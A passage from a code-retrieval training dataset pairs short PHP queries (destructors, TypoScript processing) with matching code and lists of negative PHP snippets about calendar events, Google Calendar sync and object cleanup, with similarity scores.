$DB->get_record(\n \"event\",\n $params\n );\n\n if ($oldeventdata) {\n return \\calendar_event::load($oldeventdata->id);\n }\n\n return null;\n }", "public function getCalendar() {\n return $this->calendar;\n }", "public function testFetchEvent() {\n\t\t$jsonpad = parent::_getJsonpadInstance();\n\t\t\n\t\t// Fetch the events\n\t\t$total = 0;\n\t\t$events = $jsonpad->fetchEvents(1, null, null, $total);\n\t\t$this->assertInternalType(\"array\", $events);\n\t\t$this->assertGreaterThanOrEqual(1, $total);\n\t\t$this->assertInstanceOf(\"\\Jsonpad\\Resource\\Event\", $events[0]);\n\t\t\n\t\t// Fetch a single event\n\t\t$event = $jsonpad->fetchEvent($events[0]->getId());\n\t\t$this->assertSame($event->getId(), $events[0]->getId());\n\t}", "public function toVObject(){\n\n\t\t//$stmt = $this->events(\\GO\\Base\\Db\\FindParams::newInstance()->select(\"t.*\"));\n\t\t$findParams = \\GO\\Base\\Db\\FindParams::newInstance()->select(\"t.*\");\n\t\t$findParams->getCriteria()->addCondition(\"calendar_id\", $this->id);\n\t\n\t\t$stmt = Event::model()->findForPeriod($findParams, \\GO\\Base\\Util\\Date::date_add(time(), 0, -1));\n\t\t\n\t\t$string = \"BEGIN:VCALENDAR\\r\\nVERSION:2.0\\r\\nPRODID:-//Intermesh//NONSGML \".\\GO::config()->product_name.\" \".\\GO::config()->version.\"//EN\\r\\n\";\n\n\t\t\t$t = new \\GO\\Base\\VObject\\VTimezone();\n\t\t\t$string .= $t->serialize();\n\n\t\t\twhile($event = $stmt->fetch()){\n\t\t\t\t$v = $event->toVObject();\n\t\t\t\t$string .= $v->serialize();\n\t\t\t}\n\n\t\t\t$string .= \"END:VCALENDAR\\r\\n\";\n\t\t\t\n\t\t\treturn $string;\n\t}", "function displayCalendar(){\r\n $conn= databaseConnection();\r\n\r\n $dia = date (\"d\"); $mes = date (\"n\"); $ano = date (\"Y\");\r\n if($dia[0]=='0') $dia=substr($dia, -1);\r\n\r\n if (isset($_POST[\"userid\"])){\r\n $userid= ($_POST[\"userid\"]);\r\n } \r\n\r\n //(YYYY-MM-DD)\r\n if (isset($_POST[\"date\"])){\r\n //$dia = substr(($_GET[\"date\"]),8,2);\r\n $dia = \"01\";\r\n $mes = substr(($_POST[\"date\"]),5,2);\r\n $ano = substr(($_POST[\"date\"]),0,4);\r\n } \r\n\r\n //include the WeeklyCalClass and create the object !!\r\n include (\"StaffCalendar.php\");\r\n $calendar = new StaffCalendarClass ($userid, $dia, $mes, $ano);\r\n echo $calendar->showCalendar ();\r\n\r\n mysqli_close($conn);\r\n }", "private function sendEvent($event)\n {\n\n if (!$this->googleClient)\n {\n throw new \\Exception(\"No active connection to Google found.\", 1);\n \n }\n\n $db = \\JFactory::getDbo();\n\n // Just extract the event's data and calendar details\n $data = json_decode($event->data,true);\n $cal = $GLOBALS['com_pbbooking_data']['calendars'][$data['cal_id']];\n\n // Set the \\Google_Service service\n $service = new \\Google_Service_Calendar($this->googleClient);\n\n // Event will now be overwritten with the new \\Google_Service_Calendar_Event object\n $event = new \\Google_Service_Calendar_Event;\n $event->setSummary($data['summary']);\n\n $start = new \\Google_Service_Calendar_EventDateTime();\n $start->setDateTime(date_create($data['dtstart']['date'],new \\DateTimeZone(PBBOOKING_TIMEZONE))->format(DATE_RFC3339));\n $event->setStart($start);\n\n $end = new \\Google_Service_Calendar_EventDateTime();\n $end->setDateTime(date_create($data['dtend']['date'],new \\DateTimeZone(PBBOOKING_TIMEZONE))->format(DATE_RFC3339));\n $event->setEnd($end);\n\n $createdEvent = $service->events->insert(trim($cal->gcal_id), $event);\n\n if ($createdEvent)\n {\n // Update the gcalid of the event\n $db->updateObject('#__pbbooking_events',new \\JObject(array(\n 'id' => $data['id'],\n 'gcal_id' => $createdEvent->getId()\n )),'id');\n\n return true;\n }\n else\n {\n return false;\n }\n }", "public function actionAuth(){\n$client = $this->getClient();;\n$service = new Google_Service_Calendar($client);\n\n// Print the next 10 events on the user's calendar.\n$calendarId = 'primary';\n$optParams = array(\n 'maxResults' => 10,\n 'orderBy' => 'startTime',\n 'singleEvents' => true,\n 'timeMin' => date('c'),\n);\n$results = $service->events->listEvents($calendarId, $optParams);\n$events = $results->getItems();\n\nif (empty($events)) {\n print \"No upcoming events found.\\n\";\n} else {\n print \"Upcoming events:\\n\";\n foreach ($events as $event) {\n $start = $event->start->dateTime;\n if (empty($start)) {\n $start = $event->start->date;\n }\n printf(\"%s (%s)\\n\", $event->getSummary(), $start);\n }\n }\n}", "public function fetchExternalEvents()\n {\n $db = \\JFactory::getDbo();\n $config = $GLOBALS['com_pbbooking_data']['config'];\n\n foreach ($GLOBALS['com_pbbooking_data']['calendars'] as $cal)\n {\n if ( isset($cal->enable_google_cal) && $cal->enable_google_cal == 1 )\n {\n // This has a google cal and should get external events.\n $service = new \\Google_Service_Calendar($this->googleClient);\n\n // Get the date range\n $dtfrom = date_create(\"now\", new \\DateTimeZone(PBBOOKING_TIMEZONE));\n $dtto = date_create(\"now\", new \\DateTimeZone(PBBOOKING_TIMEZONE))->modify('+ ' . $config->sync_future_events . 'months');\n\n $params = array(\n 'timeMin' => $dtfrom->format(DATE_ATOM),\n 'timeMax' => $dtto->format(DATE_ATOM),\n 'maxResults' => $config->google_max_results\n );\n\n $googleEvents = $service->events->listEvents(trim($cal->gcal_id),$params);\n\n // Now loop through the events\n\n //let's first of all the gcalids of the external events then I can unset the element to be left with an array\n //of events that USED to be in the goolge cal but aren't any more. Then I can just deleted.\n $cur_externals = $db->setQuery('select gcal_id from #__pbbooking_events where cal_id = ' . (int)$cal->id.' and externalevent = 1')->loadColumn();\n $real_externals = array();\n\n foreach ($googleEvents as $gEvent)\n {\n\n //first check to see if the event with that gcal_id exists\n $db_event = $db->setQuery('select * from #__pbbooking_events where gcal_id = \"'.$db->escape($gEvent->getId()).'\"')->loadObject();\n //if it exists check to see if it is \"owned\" by externalevent\n if ($db_event && isset($db_event->externalevent) && $db_event->externalevent == 1)\n {\n //if it is owned by externalevent then update in the database\n $db_event->summary = $gEvent->getSummary();\n $db_event->dtend = date_create($gEvent->getEnd()->getDateTime(),new \\DateTimeZone(PBBOOKING_TIMEZONE))->format(DATE_ATOM);\n $db_event->dtstart = date_create($gEvent->getStart()->getDateTime(),new \\DateTimeZone(PBBOOKING_TIMEZONE))->format(DATE_ATOM);\n $db->updateObject('#__pbbooking_events',$db_event,'id');\n\n $real_externals[] = $gEvent->getId();\n\n echo '<br/>External event updated succesfully';\n } \n\n //if it's not ownedby externalevent then we don't need to do anything as it's owned by pbbooking\n \n \n if (!$db_event)\n {\n //else it doesn't exist in the database so we need to create \n $new_event = array(\n 'cal_id' => $cal->id,\n 'summary' => $gEvent->getSummary(),\n 'dtend' => date_create($gEvent->getEnd()->getDateTime(),new \\DateTimeZone(PBBOOKING_TIMEZONE))->format(DATE_ATOM),\n 'dtstart' => date_create($gEvent->getStart()->getDateTime(),new \\DateTimeZone(PBBOOKING_TIMEZONE))->format(DATE_ATOM),\n 'verified' => 1,\n 'externalevent' => 1,\n 'gcal_id' => $gEvent->getId()\n );\n $db->insertObject('#__pbbooking_events',new \\JObject($new_event),'id');\n\n echo '<br/>External event created succesfully';\n }\n }\n\n $stale_externals = array_diff($cur_externals,$real_externals);\n //delete stale gcal events\n foreach ($stale_externals as $rmevent) {\n $db->setQuery('delete from #__pbbooking_events where gcal_id = \"'.$db->escape($rmevent).'\"')->execute();\n echo '<br/>External event deleted succesfully';\n }\n\n }\n }\n \n }", "function DisplayCalendarOfEvents()\r\n\t{\r\n\t\tglobal $_SETTINGS;\r\n\t\techo \"<div id='calendar'></div>\";\t\r\n\t}", "function get_event_wct($html) {\n\t$event_name = $html->find(\".wctlight\")[0]->plaintext;\n\t//Common Sense check\n\tif (strlen($event_name) <= 3) {\n\t\techo \"\\n\\n*****ERROR: Short Event name found\\n\";\n\t\tpause(\"\");\n\t}\n\t\n\t$event_location = $html->find(\".wctlight\")[1]->plaintext;\n\t//Common Sense check\n\tif (strlen($event_location) <= 3) {\n\t\techo \"\\n\\n****ERROR: Short Event location found*****\\n\\n\";\n\t\tpause(\"\");\n\t}\n\t//Get the event date\n\t$event_date_html = str_replace(\"&nbsp;\", \"\", $html->find(\".wctlight\")[3]->plaintext);\n\t$start_date = get_date_wct($event_date_html, \"start\");\n\t$end_date = get_date_wct($event_date_html, \"end\");\n\t\n\t//Get the event purse\n\t$event_purse = get_purse_wct($html->find(\".wctlight\")[5]->plaintext);\n\t\n\t$event_currency = get_currency_wct($html->find(\".wctlight\")[5]->plaintext);\n\t\n\t$event_gender = get_gender_wct($html);\n\n\treturn new Event($event_location, $start_date, $end_date, $event_purse, $event_currency, $event_name, $event_gender);\n}", "function eventoni_get_events_by_id()\n{\n\t$event_ids = $_POST['event_ids'];\n\n\t// Aufsplitten des Strings in ein Array mit den Events\n\t$event_ids = explode('-',$event_ids);\n\n\t// Holen der Informationen zu den Events\n\t$data = eventoni_fetch('',true,$event_ids);\n\n\t// Rückgabe der Informationen zu den Events in XML\n\techo $data['xml'];\n\tdie();\n}", "function icalendar_get_events( $url = '', $count = 5 ) {\n\t// Find your calendar's address http://support.google.com/calendar/bin/answer.py?hl=en&answer=37103\n\t$ical = new iCalendarReader();\n\treturn $ical->get_events( $url, $count );\n}", "public function getCalendarFor($name);", "public function find_client($event_id, $client_id);", "abstract public function getEventName();", "public function testSearchEvents() {\n $oauth_client_stub = $this->createMock('CultureFeed_OAuthClient');\n\n $get_xml = file_get_contents(dirname(__FILE__) . '/data/events/searchresults.xml');\n\n $oauth_client_stub->expects($this->once())\n ->method('consumerGetAsXML')\n ->will($this->returnValue($get_xml));\n\n $cf = new CultureFeed($oauth_client_stub);\n\n $query = new CultureFeed_Uitpas_Event_Query_SearchEventsOptions();\n\n $data = $cf->uitpas()->searchEvents($query);\n\n $this->assertContainsOnly('CultureFeed_Uitpas_Event_CultureEvent', $data->objects);\n $this->assertCount(7, $data->objects);\n $this->assertEquals(\"8ea1787b-d08c-4fa8-8d3c-20d1e5cc6e6a\", $data->objects[2]->cdbid);\n\n /* @var CultureFeed_Uitpas_Event_CultureEvent[] $events */\n $events = $data->objects;\n\n $this->assertCount(2, $events[1]->ticketSales);\n $this->assertCount(1, $events[2]->ticketSales);\n\n // TicketSale 1 of 2nd event. (Coupon)\n $this->assertInstanceOf(\n 'CultureFeed_Uitpas_Event_TicketSale_Opportunity',\n $events[1]->ticketSales[0]\n );\n $this->assertEquals(\n CultureFeed_Uitpas_Event_TicketSale_Opportunity::TYPE_COUPON,\n $events[1]->ticketSales[0]->type\n );\n\n $this->assertInstanceOf(\n 'CultureFeed_Uitpas_Event_TicketSale_Coupon',\n $events[1]->ticketSales[0]->ticketSaleCoupon\n );\n $this->assertEquals(\n 18,\n $events[1]->ticketSales[0]->ticketSaleCoupon->id\n );\n $this->assertEquals(\n 'TEST-UITPAS1579',\n $events[1]->ticketSales[0]->ticketSaleCoupon->name\n );\n $this->assertPeriodConstraint(\n $events[1]->ticketSales[0]->ticketSaleCoupon->buyConstraint,\n CultureFeed_Uitpas_PeriodConstraint::TYPE_ABSOLUTE,\n 6\n );\n $this->assertPeriodConstraint(\n $events[1]->ticketSales[0]->ticketSaleCoupon->exchangeConstraint,\n CultureFeed_Uitpas_PeriodConstraint::TYPE_MONTH,\n 3\n );\n\n $this->assertPeriodConstraint(\n $events[1]->ticketSales[0]->remainingForEvent,\n CultureFeed_Uitpas_PeriodConstraint::TYPE_WEEK,\n 10\n );\n $this->assertPeriodConstraint(\n $events[1]->ticketSales[0]->remainingTotal,\n CultureFeed_Uitpas_PeriodConstraint::TYPE_QUARTER,\n 50\n );\n\n $this->assertPriceClass(\n $events[1]->ticketSales[0]->priceClasses[0],\n 'Default prijsklasse',\n 27.0,\n 13.5\n );\n\n // TicketSale 2 of 2nd event. (Kansentarief with buyConstraintReason.)\n $this->assertInstanceOf(\n 'CultureFeed_Uitpas_Event_TicketSale_Opportunity',\n $events[1]->ticketSales[1]\n );\n $this->assertEquals(\n CultureFeed_Uitpas_Event_TicketSale_Opportunity::TYPE_DEFAULT,\n $events[1]->ticketSales[1]->type\n );\n $this->assertEquals(\n CultureFeed_Uitpas_Event_TicketSale_Opportunity::BUY_CONSTRAINT_INVALID_DATE_CONSTRAINTS,\n $events[1]->ticketSales[1]->buyConstraintReason\n );\n\n // TicketSale 1 of 3rd event. (Kansentarief)\n $this->assertInstanceOf(\n 'CultureFeed_Uitpas_Event_TicketSale_Opportunity',\n $events[2]->ticketSales[0]\n );\n $this->assertEquals(\n CultureFeed_Uitpas_Event_TicketSale_Opportunity::TYPE_DEFAULT,\n $events[2]->ticketSales[0]->type\n );\n\n $this->assertCount(3, $events[2]->ticketSales[0]->priceClasses);\n\n $this->assertPriceClass(\n $events[2]->ticketSales[0]->priceClasses[0],\n 'Rang 1',\n 28.0,\n 21.0\n );\n $this->assertPriceClass(\n $events[2]->ticketSales[0]->priceClasses[1],\n 'Rang 2',\n 21.0,\n 14.0\n );\n $this->assertPriceClass(\n $events[2]->ticketSales[0]->priceClasses[2],\n 'Rang 3+',\n 14.0,\n 7.0\n );\n }", "function getEventByID($ID){\r\n\t\t$ch = curl_init();\r\n\t\tcurl_setopt($ch, CURLOPT_URL, \"https://web.njit.edu/~jsr24/CS490/getEventByID.php\"); \r\n\t\tcurl_setopt($ch, CURLOPT_POSTFIELDS, \"ID=\".$ID);\r\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\t\t$getEventReply = curl_exec($ch);\r\n\t\tcurl_close($ch);\r\n\t\t#echo \"<br/>\";\r\n\t\t#$value = (json_decode($getEventReply,true));\r\n\t\treturn $getEventReply;\t#review reply from DB\t\r\n\t}", "public function getEvent($id){\n\t\t$this->db->select('id,name,description');\n\t\t$this->db->from('event');\n\t\t$this->db->where('id',$id); \n\t\t\n\t\t$query = $this->db->get();\n\t\t$mediate = $query->result_array();\n\t\treturn $mediate[0];\n\t}", "public function execute()\n {\n $event_id = rex_request('id', 'int', 0);\n if (!$event_id) {\n $result = [ 'errorcode' => 1, rex_i18n::msg('rex_api_events_ics_file_no_id') ];\n self::httpError($result);\n } else {\n $ics_filename = event_date::get($event_id)->getName();\n header('Content-Type: text/calendar; charset=utf-8');\n header('Content-Disposition: attachment; filename=\"' . $ics_filename . '.ics\"');\n\n exit(event_date::get($event_id)->getIcs());\n }\n }", "public function get_test_scheduled_events()\n {\n }", "public static function get(Client $client, $id) {\n $req = $client->newRequest(\"GET\", \"/{accountname}/events/{id}\");\n $req->addParameter(\"id\", $id);\n\n\n $result = $req->run(\"json\");\n return Event::fromJson($result);\n }", "private function _ParseASToVCalendar($data, $folderid, $id) {\n $ical = new iCalComponent();\n $ical->SetType(\"VCALENDAR\");\n $ical->AddProperty(\"VERSION\", \"2.0\");\n $ical->AddProperty(\"PRODID\", \"-//z-push-contrib//NONSGML Z-Push-contrib Calendar//EN\");\n $ical->AddProperty(\"CALSCALE\", \"GREGORIAN\");\n\n if ($folderid[0] == \"C\") {\n $vevent = $this->_ParseASEventToVEvent($data, $id);\n $vevent->AddProperty(\"UID\", $id);\n $ical->AddComponent($vevent);\n if (isset($data->exceptions) && is_array($data->exceptions)) {\n foreach ($data->exceptions as $ex) {\n if (isset($ex->deleted) && $ex->deleted == \"1\") {\n if ($exdate = $vevent->GetPValue(\"EXDATE\")) {\n $vevent->SetPValue(\"EXDATE\", $exdate.\",\".gmdate(\"Ymd\\THis\\Z\", $ex->exceptionstarttime));\n }\n else {\n $vevent->AddProperty(\"EXDATE\", gmdate(\"Ymd\\THis\\Z\", $ex->exceptionstarttime));\n }\n continue;\n }\n\n $exception = $this->_ParseASEventToVEvent($ex, $id);\n if ($data->alldayevent == 1) {\n $exception->AddProperty(\"RECURRENCE-ID\", $this->_GetDateFromUTC(\"Ymd\", $ex->exceptionstarttime, $data->timezone), array(\"VALUE\" => \"DATE\"));\n }\n else {\n $exception->AddProperty(\"RECURRENCE-ID\", gmdate(\"Ymd\\THis\\Z\", $ex->exceptionstarttime));\n }\n $exception->AddProperty(\"UID\", $id);\n $ical->AddComponent($exception);\n }\n }\n }\n if ($folderid[0] == \"T\") {\n $vtodo = $this->_ParseASTaskToVTodo($data, $id);\n $vtodo->AddProperty(\"UID\", $id);\n $vtodo->AddProperty(\"DTSTAMP\", gmdate(\"Ymd\\THis\\Z\"));\n $ical->AddComponent($vtodo);\n }\n\n return $ical->Render();\n }", "public function getCalendarObjects($calendarId)\n {\n $params[\"calendar_id\"] = $calendarId;\n\n list($type, $user) = explode(\"_\", $calendarId);\n\n $events = MyScEvents::getMyScEvents($params);\n\n// Info: Array scheme\n// $events[] = array(\n// \"allDay\"=> false,\n// \"description\" => $description,\n// \"end\" => $end->format(\"Y-m-d H:i:s\"),\n// \"id\" => $id,\n// \"start\" => $start->format(\"Y-m-d H:i:s\"),\n// \"title\" => $title,\n// \"summary\" => \"Test2\",\n// \"calendardata\" => \"BEGIN:VCALENDAR\\nVERSION:2.0\\n\"\n// . \"PRODID:mySchoolCalendar\"\n// . \\OCP\\App::getAppVersion('mySchoolCalendar') . \"\\n\"\n// . $vevent->serialize() . \"END:VCALENDAR\"\n// );\n\n $objects = array();\n\n foreach ($events as $event) {\n $object = array(\n \"id\" => $event[\"id\"],\n \"uri\" => $type . \"_event_\" . $event[\"id\"],\n \"lastmodified\" => time(),\n \"calendarid\" => $calendarId,\n \"calendardata\" => $event[\"calendardata\"]\n );\n\n $objects[] = $object;\n }\n\n return $objects;\n }" ]
[ "0.61911637", "0.61911637", "0.61595875", "0.61106616", "0.6103388", "0.6053598", "0.60464287", "0.6000605", "0.5976347", "0.5940125", "0.59264165", "0.5887486", "0.58792514", "0.5868849", "0.5839377", "0.5815823", "0.5802411", "0.57957554", "0.578182", "0.57710457", "0.5737916", "0.5729268", "0.5640168", "0.55125606", "0.55021006", "0.54935944", "0.5489164", "0.5469016", "0.54510075", "0.54359305", "0.54284513", "0.5426512", "0.54254925", "0.54238373", "0.5416467", "0.54118973", "0.5411174", "0.5408676", "0.5406116", "0.54057044", "0.5403979", "0.54031926", "0.53997064", "0.5394052", "0.5386209", "0.5378258", "0.5376275", "0.53669786", "0.53669786", "0.53369796", "0.5336889", "0.5327903", "0.53275377", "0.5326761", "0.5325259", "0.5324799", "0.5302129", "0.52923584", "0.5282252", "0.5281738", "0.52815354", "0.5279583", "0.52727515", "0.5268683", "0.5266196", "0.5258975", "0.5258558", "0.52564484", "0.5254704", "0.52532315", "0.5247828", "0.52401876", "0.52361196", "0.52309597", "0.5222836", "0.52189445", "0.5215173", "0.5194962", "0.51934844", "0.516844", "0.51669157", "0.5158733", "0.51556253", "0.51545167", "0.51538414", "0.51439446", "0.5141886", "0.51407814", "0.513553", "0.51307714", "0.5127492", "0.5122655", "0.51221085", "0.5121225", "0.5117404", "0.51171774", "0.51065016", "0.51038617", "0.51029456", "0.5101999" ]
0.62628776
0
Destructor to clean up when we're done with the API object.
function __destruct() { // If we created our own TSFE object earlier, get rid of it so that we don't interfere with other scripts. if ($this->unsetTSFEOnDestruct) { unset($GLOBALS['TSFE']); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function __destruct() {\n\t\t\tparent::__destruct();\n\t\t\tunset($this->resource);\n\t\t\tunset($this->methods);\n\t\t\tunset($this->name);\n\t\t}", "public function __destruct() {\n curl_close($this->request);\n }", "protected function __del__() { }", "public function __destruct ()\n {\n curl_close($this->cURL);\n }", "public function __destruct()\n {\n curl_close($this->curl);\n $this->curl = null;\n }", "public function __destruct() {\n\t\t\tparent::__destruct();\n\t\t\tunset($this->metadata);\n\t\t\tunset($this->models);\n\t\t\tunset($this->translators);\n\t\t}", "public function __destruct()\n\t{\n\t\tcurl_close($this->connection);\n\t}", "public function __destruct() {\n\tcurl_close($this->curl);\n }", "public function __destruct()\n {\n unset($this->newRequest);\n }", "public function __destruct()\n {\n unset($this->newRequest);\n }", "public function __destruct()\r\n {\r\n // Perform any clean-up here\r\n }", "public function __destruct(){\n\t\t\t@curl_close($this->curl);\n\t\t}", "public function __destruct()\n {\n if (null !== $this->curl) {\n curl_close($this->curl);\n }\n }", "public function __destruct() {\n\t\t\tparent::__destruct();\n\t\t\tunset($this->data);\n\t\t\tunset($this->file);\n\t\t\tunset($this->image);\n\t\t\tunset($this->uri);\n\t\t}", "public function __destruct()\n {\n unset($this->index);\n unset($this->objectList);\n unset($this->objectListKeys);\n }", "public function __destruct() {\n\t\t\tparent::__destruct();\n\t\t\tunset($this->info);\n\t\t\tunset($this->name);\n\t\t\tunset($this->value);\n\t\t}", "function __destruct() {\n\t\t@fclose($this->FILE);\n\t\tunset($this->FILE, $this->HEADERS, $this->DATA);\n\t}", "public function __destruct()\n {\n if (is_resource($this->curl)) {\n curl_close($this->curl);\n }\n }", "public function cleanup()\n {\n }", "public function __destruct() {\n\t\t$this->user->delete();\n\t\t$this->user2->delete();\n\t\t$this->apikey->delete();\n\t\telgg_set_ignore_access($this->ia);\n\t\t// all __destruct() code should go above here\n\t\tparent::__destruct();\n\t}", "public function __destruct()\n {\n unset($this->data);\n }", "public function __destruct() {\n if (isset($this->mh)) curl_multi_close($this->mh);\n }", "public function __destruct() {\r\n if (isset($this->ch)) {\r\n curl_close($this->ch);\r\n }\r\n }", "public function __destruct()\n {\n if ($this->curl) $this->close();\n }", "public function tearDown(): void\n {\n $this->api = null;\n parent::tearDown();\n }", "public function __destruct()\n {\n }", "public function __destruct()\n {\n }", "public function cleanup() {\n\t\t//TODO\n\t}", "public function __destruct()\n {\n if (isset($this->__client)) {\n $this->__client->unref($this->__java);\n }\n }", "public function __destruct()\n {\n $this->clear();\n }", "public function __destruct()\n {\n $this->clear();\n }", "public function __destruct()\n {\n $this->data = null;\n }", "public function __destruct(){\n\t\t\t\t\t\ttry{\n\t\t\t\t\t\t\t$this->GetModelOrganize;\n\t\t\t\t\t\t\t$this->getLibBaseUrl;\n\t\t\t\t\t\t\t$this->_Categories;\n\t\t\t\t\t\t\tsession_write_close();\n\t\t\t\t\t\t}catch(ErrorException $ex){\n\t\t\t\t\t\t\techo \"Message:\" . $ex->getMessage ();\n\t\t\t\t\t\t\t \n\t\t\t\t\t\t}\n\t\t\t\t\t}", "public function __destruct()\n {\n Util::wipe($this->key);\n }", "public function __destruct () {\n \n }", "public function __destruct()\n {\n curl_close($this->ch); \n }", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function __destruct()\n {\n if ($this->uri) {\n librdf_free_uri($this->uri);\n }\n }", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function cleanUp() {}", "public function __destruct()\n {\n if (!is_null($this->proxy)) {\n $this->proxy->close();\n }\n $this->proxy = null;\n }", "public function __destruct()\n {\n $response = [\n 'status' => $this->status_code,\n 'message' => $this->message\n ];\n\n if ($this->is_ajax)\n {\n printf(self::JSONP_FUNCTION, json_encode($response));\n }\n else\n {\n header(\"HTTP/1.1 {$response['status']}\");\n header(\"Content-type: application/json; charset: UTF-8\");\n die(json_encode($response));\n }\n\n }", "public function __destruct()\n\t{\n\t\t$this->db = null;\n\t\t$this->cat_data = false;\n\t\t$this->settings = null;\n\t}", "public function __destruct() {\n\n\t\t}", "private function _destruct()\r\n {\r\n $this->table = null;\r\n $this->select = null;\r\n $this->fields = null;\r\n $this->where = null;\r\n $this->ar_where = null;\r\n }", "function __destruct() {\n\t\tcurl_close( $this->ch );\n\t\t@unlink( '/tmp/addframe.cookies.' . $this->uid . '.dat' );\n\t}", "public function __destruct()\n {\n unset($this->binaryReaderEntity);\n }", "public function __destruct()\n {\n // Vacio por el momento.\n }", "public function __destruct() {\n\t\t\tparent::__destruct();\n\t\t\tunset($this->after);\n\t\t\tunset($this->before);\n\t\t\tunset($this->builder);\n\t\t\tunset($this->data_source);\n\t\t}", "public function __destruct() {\n\t\tif( $this->requester->token ) {\n\t\t\t$this->deauth();\n\t\t}\n\t}", "public function __destruct(){\n\t\tunset($this->user);\n\t\tunset($this->gid);\n\t}", "public function __destruct()\n {\n $this->_loadedPackets = [];\n }", "public function __destruct()\n\t{\n\t\tif (is_resource($this->ch)) {\n\t\t\tcurl_close($this->ch);\n\t\t}\n\t}", "public function cleanup(): void\n {\n }", "public function cleanup(): void\n {\n }", "public function __destruct() {\n\t\t$this->clean();\n\t}", "public function __destruct() {\n\n // cleanup resources\n $this->disconnect();\n $this->buffer = NULL;\n $this->global_buffer = NULL;\n }", "function __destruct()\n {\n }" ]
[ "0.74505544", "0.7292756", "0.7200354", "0.7197638", "0.71269494", "0.7107583", "0.7091856", "0.70856833", "0.70656615", "0.70656615", "0.70594245", "0.70525616", "0.7034325", "0.70201296", "0.7002017", "0.6966783", "0.6950203", "0.69495714", "0.69219756", "0.6898081", "0.68742937", "0.68499124", "0.68493795", "0.6835514", "0.6829183", "0.6819809", "0.6819808", "0.677074", "0.6750455", "0.67396426", "0.67396426", "0.6735278", "0.67275065", "0.6719239", "0.6713218", "0.66984344", "0.66907233", "0.66907233", "0.66907233", "0.66907233", "0.66907233", "0.66907233", "0.66907233", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6688809", "0.6687391", "0.6686375", "0.6686375", "0.6686375", "0.6686375", "0.6686375", "0.6686375", "0.6679613", "0.66780204", "0.66749394", "0.6661308", "0.66498786", "0.6647628", "0.66378856", "0.6636256", "0.6629192", "0.6626894", "0.66239303", "0.66195124", "0.6618629", "0.6615958", "0.6615958", "0.6605421", "0.6603655", "0.66021115" ]
0.0
-1
/ !brief process the Typoscript array to final output
function __processTSObject($tsObjPath, $tag_content) { // Check for a non empty value if ($tsObjPath) { // Get complete TS template $tsObj = & $this -> __TSTemplate -> setup; // Get TS object hierarchy in template $tmplPath = explode('.',$tsObjPath); // Process TS object hierarchy for($i = 0; $i < count($tmplPath); $i++) { // Try to get content type $cType = $tsObj[$tmplPath[$i]]; // Try to get TS object configuration array $tsNewObj = $tsObj[$tmplPath[$i] . '.']; // Merge Configuration found in the tags with typoscript config if (count($tag_content)) { $tsNewObj = $this -> array_merge_recursive2($tsNewObj, $tag_content[$tsObjPath.'.']); } // Check object if (!$cType && !$tsNewObj) { // Object doesn't exist $error = 1; break; } } // DEBUG ONLY - Show TS object // t3lib_div::debug($cType, 'CONTENT TYPE'); // t3lib_div::debug($tsObj, 'TS CONFIGURATION'); // Check object and content type if ($error) { // Object not found return '<strong>Not Found</strong> (' . $tsObjPath . ')'; } elseif ($this->cTypes[$cType]) { // Render Object $code = $this -> __local_cObj -> cObjGetSingle($cType,$tsNewObj); } else { // Invalid content type return '<strong>errors.invalid</strong> (' . $cType . ')'; } // Return object return $code; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function convertPlainArrayToTypoScriptArrayTestdata() {}", "public function convertTypoScriptArrayToPlainArrayTestdata() {}", "public function convertPlainArrayToTypoScriptArrayTestdata()\n {\n return [\n 'simple typoscript' => [\n 'extbaseTS' => [\n '10' => [\n 'value' => 'Hallo',\n '_typoScriptNodeValue' => 'TEXT'\n ]\n ],\n 'classic' => [\n '10' => 'TEXT',\n '10.' => [\n 'value' => 'Hallo'\n ]\n ]\n ],\n 'typoscript with null value' => [\n 'extbaseTS' => [\n '10' => [\n 'value' => 'Hallo',\n '_typoScriptNodeValue' => 'TEXT'\n ],\n '20' => null\n ],\n 'classic' => [\n '10' => 'TEXT',\n '10.' => [\n 'value' => 'Hallo'\n ],\n '20' => ''\n ]\n ],\n 'ts with dots in key' => [\n 'extbaseTS' => [\n '1.0' => [\n 'value' => 'Hallo',\n '_typoScriptNodeValue' => 'TEXT'\n ]\n ],\n 'classic' => [\n '1.0' => 'TEXT',\n '1.0.' => [\n 'value' => 'Hallo'\n ]\n ]\n ],\n 'ts with backslashes in key' => [\n 'extbaseTS' => [\n '1\\\\0\\\\' => [\n 'value' => 'Hallo',\n '_typoScriptNodeValue' => 'TEXT'\n ]\n ],\n 'classic' => [\n '1\\\\0\\\\' => 'TEXT',\n '1\\\\0\\\\.' => [\n 'value' => 'Hallo'\n ]\n ]\n ],\n 'bigger typoscript' => [\n 'extbaseTS' => [\n '10' => [\n '10' => [\n 'value' => 'Hello World!',\n 'foo' => [\n 'bar' => 5\n ],\n '_typoScriptNodeValue' => 'TEXT'\n ],\n '20' => [\n '10' => [\n 'value' => 